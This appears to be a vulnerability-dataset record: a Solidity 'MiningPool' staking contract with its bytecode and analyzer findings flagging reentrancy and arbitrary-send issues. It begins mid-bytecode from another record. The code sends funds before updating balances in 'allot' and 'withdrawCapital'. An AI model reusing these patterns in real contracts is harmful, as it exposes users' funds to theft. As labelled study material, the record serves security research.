00000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207a7df15c3d454a15525992bda5066395cdffbc158f3857e2c3d7768c7214137f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,165
0xCc2313116282116E0A6040EB8191C03AaAD653Ff
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address, address) external; function setFeeOwner(address _feeOwner) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor () { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function nonces(address account) external view returns (uint256); function approve(address spender, uint value) external returns (bool); function permit(address holder, address spender, uint256 nonce, uint256 expiry, uint256 amount, uint8 v, bytes32 r, bytes32 s) external; function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IUniswapFactory { function getPair(address token0,address token1) external returns(address); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; function balanceOf(address owner) external view returns (uint); } contract MiningPool is Ownable { constructor(IERC20 _token, IUniswapFactory _factory, uint256 chainId_, IWETH _weth ) { // tokens[0] = tokenAddress; // tokens[1] = wethAddress; token = _token; factory = _factory; weth = _weth; ANCHOR = duration(0,block.timestamp).mul(ONE_DAY); DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256("MiningPool"), keccak256(bytes(version)), chainId_, address(this) )); } receive() external payable { assert(msg.sender == address(weth)); // only accept ETH via fallback from the WETH contract } using SafeMath for uint256; struct User { uint256 id; uint256 investment; uint256 freezeTime; } string public constant version = "1"; // --- EIP712 niceties --- bytes32 public DOMAIN_SEPARATOR; // bytes32 public constant PERMIT_TYPEHASH = keccak256("Lock(address holder,address locker,uint256 nonce,uint256 expiry,bool allowed)"); bytes32 public constant PERMIT_TYPEHASH = 0x21cd9aa44f4218d88de398865e90b6302b1c68dbeecba1ed08e507cb29ef9d6f; uint256 constant internal ONE_DAY = 1 days; uint256 public ANCHOR; IERC20 public token; IWETH public weth; //address[2] tokens; IUniswapV2Pair public pair; IUniswapFactory public factory; uint256 public stakeAmount; mapping(address=>User) public users; //Index of the user mapping(uint256=>address) public indexs; mapping(address => uint256[2]) public deposits; mapping (address => uint) public _nonces; uint256 public userCounter; event Stake(address indexed userAddress,uint256 amount); event WithdrawCapital(address indexed userAddress,uint256 amount); event Deposit(address indexed userAddress,uint256[2]); event Allot(address indexed userAddress,uint256,uint256); event Lock(address indexed userAddress,uint256 amount); function setPair(address tokenA,address tokenB) public onlyOwner returns(address pairAddress){ pairAddress = factory.getPair(tokenA,tokenB); //require(pairAddress!=address(0),"Invalid trade pair"); pair = IUniswapV2Pair(pairAddress); } function deposit(uint256[2] memory amounts) public returns(bool){ (address[2] memory tokens,) = balanceOf(address(this)); for(uint8 i = 0;i<amounts.length;i++){ if(amounts[i]>0) TransferHelper.safeTransferFrom(tokens[i],msg.sender,address(this),amounts[i]); deposits[msg.sender][i] += amounts[i]; } emit Deposit(msg.sender,amounts); return true; } function allot(address userAddress,uint256[2] memory amounts) public returns(bool){ (address[2] memory tokens,) = balanceOf(address(this)); if(amounts[0]>0) _transfer(tokens[0],userAddress,amounts[0]); if(amounts[1]>0) _transfer(tokens[1],userAddress,amounts[1]); for(uint8 i = 0;i<amounts.length;i++){ require(deposits[msg.sender][i]>=amounts[i],"not sufficient funds"); deposits[msg.sender][i]-=amounts[i]; } emit Allot(userAddress,amounts[0],amounts[1]); return true; } function _transfer(address _token,address userAddress,uint256 amount) internal { if(_token==address(weth)) { weth.withdraw(amount); TransferHelper.safeTransferETH(userAddress, amount); }else{ TransferHelper.safeTransfer(_token,userAddress,amount); } } function stake(uint256 amount) public { require(address(pair)!=address(0),"Invalid trade pair"); require(amount>0,"Amount of error"); //token.permit(msg.sender,address(this),nonce,expiry,amount,v,r,s); TransferHelper.safeTransferFrom(address(token),msg.sender,address(this),amount); User storage user = findUser(msg.sender); user.investment+= amount; stakeAmount+=amount; emit Stake(msg.sender,stakeAmount); } function lock(address holder, address locker, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) public { bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, holder, locker, nonce, expiry, allowed)) )); require(holder != address(0), "invalid-address-0"); require(holder == ecrecover(digest, v, r, s), "invalid-permit"); require(expiry == 0 || block.timestamp <= expiry, "permit-expired"); require(nonce == _nonces[holder]++, "invalid-nonce"); users[holder].freezeTime = block.timestamp; emit Lock(holder,users[holder].investment); } function withdrawCapital() public { User storage user = users[msg.sender]; if(user.freezeTime!=0){ require(duration(user.freezeTime)!=duration(),"not allowed now"); } uint256 amount = user.investment; require(amount>0,"not stake"); TransferHelper.safeTransfer(address(token),msg.sender,amount); user.investment = 0; user.freezeTime = 0; stakeAmount = stakeAmount.sub(amount); emit WithdrawCapital(msg.sender,stakeAmount); } function findUser(address userAddress) internal returns(User storage user) { User storage udata = users[msg.sender]; if(udata.id==0){ userCounter++; udata.id = userCounter; indexs[userCounter] = userAddress; } return udata; } function lockStatus(address userAddress) public view returns(bool){ uint256 freezeTime = users[userAddress].freezeTime; return freezeTime==0?false:duration(freezeTime) == duration(); } function balanceOf(address userAddress) public view returns (address[2] memory tokens,uint256[2] memory balances){ tokens[0] = pair.token0(); tokens[1] = pair.token1(); balances[0] = IERC20(tokens[0]).balanceOf(userAddress); balances[1] = IERC20(tokens[1]).balanceOf(userAddress); return (tokens,balances); } function totalSupply() public view returns (uint256){ return token.totalSupply(); } function duration() public view returns(uint256){ return duration(block.timestamp); } function duration(uint256 endTime) internal view returns(uint256){ return duration(ANCHOR,endTime); } function duration(uint256 startTime,uint256 endTime) internal pure returns(uint256){ if(endTime<startTime){ return 0; }else{ return endTime.sub(startTime).div(ONE_DAY); } } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x6080604052600436106101bb5760003560e01c8063715018a6116100ec578063b9844d8d1161008a578063f020d11811610064578063f020d118146109ef578063f0c37a5914610a97578063f2fde38b14610ac2578063fc0c546a14610b1357610219565b8063b9844d8d146108da578063c45a01551461093f578063d6d681771461098057610219565b806395c5c5e3116100c657806395c5c5e314610750578063a694fc3a146107eb578063a87430ba14610826578063a8aa1b311461089957610219565b8063715018a6146106cb5780638da5cb5b146106e25780638f32d59b1461072357610219565b806330adf81f1161015957806354fd4d501161013357806354fd4d501461052957806360c7dc47146105b95780636ff43706146105e457806370a082311461060f57610219565b806330adf81f146104925780633644e515146104bd5780633fc8cef3146104e857610219565b806315497d2c1161019557806315497d2c1461033657806317727a001461039d57806318160ddd146103b457806322f28b49146103df57610219565b80630fb5a6b41461021e578063101d457914610249578063143ad356146102ae57610219565b3661021957600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461021757fe5b005b600080fd5b34801561022a57600080fd5b50610233610b54565b6040518082815260200191505060405180910390f35b34801561025557600080fd5b506102826004803603602081101561026c57600080fd5b8101908080359060200190929190505050610b64565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102ba57600080fd5b5061031e600480360360408110156102d157600080fd5b8101908080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050610b97565b60405180821515815260200191505060405180910390f35b34801561034257600080fd5b506103856004803603602081101561035957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d01565b60405180821515815260200191505060405180910390f35b3480156103a957600080fd5b506103b2610d73565b005b3480156103c057600080fd5b506103c9610f7b565b6040518082815260200191505060405180910390f35b3480156103eb57600080fd5b50610490600480360361010081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803515159060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050611025565b005b34801561049e57600080fd5b506104a76114ed565b6040518082815260200191505060405180910390f35b3480156104c957600080fd5b506104d2611514565b6040518082815260200191505060405180910390f35b3480156104f457600080fd5b506104fd61151a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053557600080fd5b5061053e611540565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057e578082015181840152602081019050610563565b50505050905090810190601f1680156105ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105c557600080fd5b506105ce611579565b6040518082815260200191505060405180910390f35b3480156105f057600080fd5b506105f961157f565b6040518082815260200191505060405180910390f35b34801561061b57600080fd5b5061065e6004803603602081101561063257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611585565b6040518083600260200280838360005b8381101561068957808201518184015260208101905061066e565b5050505090500182600260200280838360005b838110156106b757808201518184015260208101905061069c565b505050509050019250505060405180910390f35b3480156106d757600080fd5b506106e06118fa565b005b3480156106ee57600080fd5b506106f7611a32565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072f57600080fd5b50610738611a5b565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b506107bf6004803603604081101561077357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107f757600080fd5b506108246004803603602081101561080e57600080fd5b8101908080359060200190929190505050611c62565b005b34801561083257600080fd5b506108756004803603602081101561084957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e4e565b60405180848152602001838152602001828152602001935050505060405180910390f35b3480156108a557600080fd5b506108ae611e78565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e657600080fd5b50610929600480360360208110156108fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e9e565b6040518082815260200191505060405180910390f35b34801561094b57600080fd5b50610954611eb6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561098c57600080fd5b506109d9600480360360408110156109a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611edc565b6040518082815260200191505060405180910390f35b3480156109fb57600080fd5b50610a7f60048036036060811015610a1257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050611f04565b60405180821515815260200191505060405180910390f35b348015610aa357600080fd5b50610aac612189565b6040518082815260200191505060405180910390f35b348015610ace57600080fd5b50610b1160048036036020811015610ae557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061218f565b005b348015610b1f57600080fd5b50610b28612215565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000610b5f42612355565b905090565b60096020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080610ba330611585565b50905060005b60028160ff161015610c80576000848260ff1660028110610bc657fe5b60200201511115610c0457610c03828260ff1660028110610be357fe5b60200201513330878560ff1660028110610bf957fe5b602002015161236a565b5b838160ff1660028110610c1357fe5b6020020151600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208260ff1660028110610c6557fe5b01600082825401925050819055508080600101915050610ba9565b503373ffffffffffffffffffffffffffffffffffffffff167f81cc83752411cb6586c3b31511a1bf6f737652853ffc35f651ba6b812c961399846040518082600260200280838360005b83811015610ce5578082015181840152602081019050610cca565b5050505090500191505060405180910390a26001915050919050565b600080600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154905060008114610d6857610d59610b54565b610d6282612355565b14610d6b565b60005b915050919050565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816002015414610e4c57610dca610b54565b610dd78260020154612355565b1415610e4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f6e6f7420616c6c6f776564206e6f77000000000000000000000000000000000081525060200191505060405180910390fd5b5b60008160010154905060008111610ecb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6e6f74207374616b65000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610ef8600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338361254e565b6000826001018190555060008260020181905550610f21816007546122c190919063ffffffff16565b6007819055503373ffffffffffffffffffffffffffffffffffffffff167f3cb38f529468694fde7182fa11a664974b1c24236d529f5605149d682e2cf6566007546040518082815260200191505060405180910390a25050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe557600080fd5b505afa158015610ff9573d6000803e3d6000fd5b505050506040513d602081101561100f57600080fd5b8101908080519060200190929190505050905090565b60006001547f21cd9aa44f4218d88de398865e90b6302b1c68dbeecba1ed08e507cb29ef9d6f60001b8a8a8a8a8a604051602001808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001821515815260200196505050505050506040516020818303038152906040528051906020012060405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614156111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c69642d616464726573732d3000000000000000000000000000000081525060200191505060405180910390fd5b60018185858560405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa15801561121e573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146112c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f696e76616c69642d7065726d697400000000000000000000000000000000000081525060200191505060405180910390fd5b60008614806112d75750854211155b611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f7065726d69742d6578706972656400000000000000000000000000000000000081525060200191505060405180910390fd5b600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055871461140b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f696e76616c69642d6e6f6e63650000000000000000000000000000000000000081525060200191505060405180910390fd5b42600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055508873ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546040518082815260200191505060405180910390a2505050505050505050565b7f21cd9aa44f4218d88de398865e90b6302b1c68dbeecba1ed08e507cb29ef9d6f60001b81565b60015481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525081565b60075481565b60025481565b61158d612d73565b611595612d95565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156115fd57600080fd5b505afa158015611611573d6000803e3d6000fd5b505050506040513d602081101561162757600080fd5b81019080805190602001909291905050508260006002811061164557fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156116e457600080fd5b505afa1580156116f8573d6000803e3d6000fd5b505050506040513d602081101561170e57600080fd5b81019080805190602001909291905050508260016002811061172c57fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508160006002811061177057fe5b602002015173ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156117db57600080fd5b505afa1580156117ef573d6000803e3d6000fd5b505050506040513d602081101561180557600080fd5b81019080805190602001909291905050508160006002811061182357fe5b6020020181815250508160016002811061183957fe5b602002015173ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156118a457600080fd5b505afa1580156118b8573d6000803e3d6000fd5b505050506040513d60208110156118ce57600080fd5b8101908080519060200190929190505050816001600281106118ec57fe5b602002018181525050915091565b611902611a5b565b611974576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a9d612730565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000611ac3611a5b565b611b35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390584846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611bde57600080fd5b505af1158015611bf2573d6000803e3d6000fd5b505050506040513d6020811015611c0857600080fd5b8101908080519060200190929190505050905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555092915050565b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611d27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e76616c69642074726164652070616972000000000000000000000000000081525060200191505060405180910390fd5b60008111611d9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f416d6f756e74206f66206572726f72000000000000000000000000000000000081525060200191505060405180910390fd5b611dcb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633308461236a565b6000611dd633612738565b9050818160010160008282540192505081905550816007600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167febedb8b3c678666e7f36970bc8f57abf6d8fa2e828c0da91ea5b75bf68ed101a6007546040518082815260200191505060405180910390a25050565b60086020528060005260406000206000915090508060000154908060010154908060020154905083565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b6020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528160005260406000208160028110611ef857600080fd5b01600091509150505481565b600080611f1030611585565b509050600083600060028110611f2257fe5b60200201511115611f5b57611f5a81600060028110611f3d57fe5b60200201518585600060028110611f5057fe5b6020020151612804565b5b600083600160028110611f6a57fe5b60200201511115611fa357611fa281600160028110611f8557fe5b60200201518585600160028110611f9857fe5b6020020151612804565b5b60005b60028160ff16101561210557838160ff1660028110611fc157fe5b6020020151600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208260ff166002811061201357fe5b01541015612089576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f6e6f742073756666696369656e742066756e647300000000000000000000000081525060200191505060405180910390fd5b838160ff166002811061209857fe5b6020020151600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208260ff16600281106120ea57fe5b01600082825403925050819055508080600101915050611fa6565b508373ffffffffffffffffffffffffffffffffffffffff167f4a1e112438f12d617d971a4446770d73935b4138bfa36f7dbf3aa4692f79159a8460006002811061214b57fe5b60200201518560016002811061215d57fe5b6020020151604051808381526020018281526020019250505060405180910390a2600191505092915050565b600c5481565b612197611a5b565b612209576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61221281612907565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083141561224e57600090506122bb565b600082840290508284828161225f57fe5b04146122b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612dde6021913960400191505060405180910390fd5b809150505b92915050565b600061230383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612a4a565b905092915050565b600061234d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b0a565b905092915050565b600061236360025483612bd0565b9050919050565b6000808573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831061244a5780518252602082019150602081019050602083039250612427565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146124ac576040519150601f19603f3d011682016040523d82523d6000602084013e6124b1565b606091505b50915091508180156124f157506000815114806124f057508080602001905160208110156124de57600080fd5b81019080805190602001909291905050505b5b612546576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612e226024913960400191505060405180910390fd5b505050505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831061261057805182526020820191506020810190506020830392506125ed565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612672576040519150601f19603f3d011682016040523d82523d6000602084013e612677565b606091505b50915091508180156126b757506000815114806126b657508080602001905160208110156126a457600080fd5b81019080805190602001909291905050505b5b612729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5472616e7366657248656c7065723a205452414e534645525f4641494c45440081525060200191505060405180910390fd5b5050505050565b600033905090565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015414156127fb57600c60008154809291906001019190505550600c5481600001819055508260096000600c54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80915050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128f657600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381